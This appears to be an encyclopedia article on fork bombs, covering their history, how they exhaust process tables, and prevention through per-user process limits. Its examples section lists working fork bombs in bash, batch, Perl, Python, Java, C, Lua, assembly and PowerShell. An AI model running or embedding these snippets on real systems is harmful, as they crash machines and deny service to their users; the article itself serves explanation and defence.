Fork bomb

The concept behind a fork bomb — the processes continually replicate themselves, potentially causing a denial of service

In computing, a fork bomb (also called rabbit virus or wabbit^[1]) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.

History

Around 1978, an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington.^[1]

Implementation

Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table.^[2][3] A basic implementation of a fork bomb is an infinite loop that repeatedly launches new copies of itself.

In Unix-like operating systems, fork bombs are generally written to use the fork system call.^[3] As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they continue forking endlessly within their own copy of the same infinite loop; this has the effect of causing an exponential growth in processes. As modern Unix systems generally use copy-on-write when forking new processes,^[4] a fork bomb generally will not saturate such a system's memory.

Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call;^[5] a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.

Examples of fork bombs

 :(){ :|:& };:

💣(){ 💣|💣& };💣

#!/bin/bash
./$0|./$0&

#!/bin/bash
./$0&
./$0&

:ForkBomb
 start "" %1
 goto ForkBomb

 %0 | %0

echo  %0^|%0  > forkbomb.bat
forkbomb.bat

cmd /k echo -^|->-.bat&-

 perl -e "fork while fork" &

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

(_ = () => setInterval(_, 0))()

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
    while(1) {
      fork(); /* malloc can be used in order to increase the data usage */
    }
    return 0;
}

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
	unistd.fork()
end

section .text
    global _start
    
_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

while($true) { 
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';}

Prevention

As a fork bomb's mode of operation is entirely encapsulated by creating new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.^[7] On PAM-enabled systems, this limit can also be set in /etc/security/limits.conf,^[8] and on FreeBSD, the system administrator can put limits in /etc/login.conf.^[9]

See also

• Denial-of-service attack
• Deadlock
• Time bomb (software)
• Logic bomb

References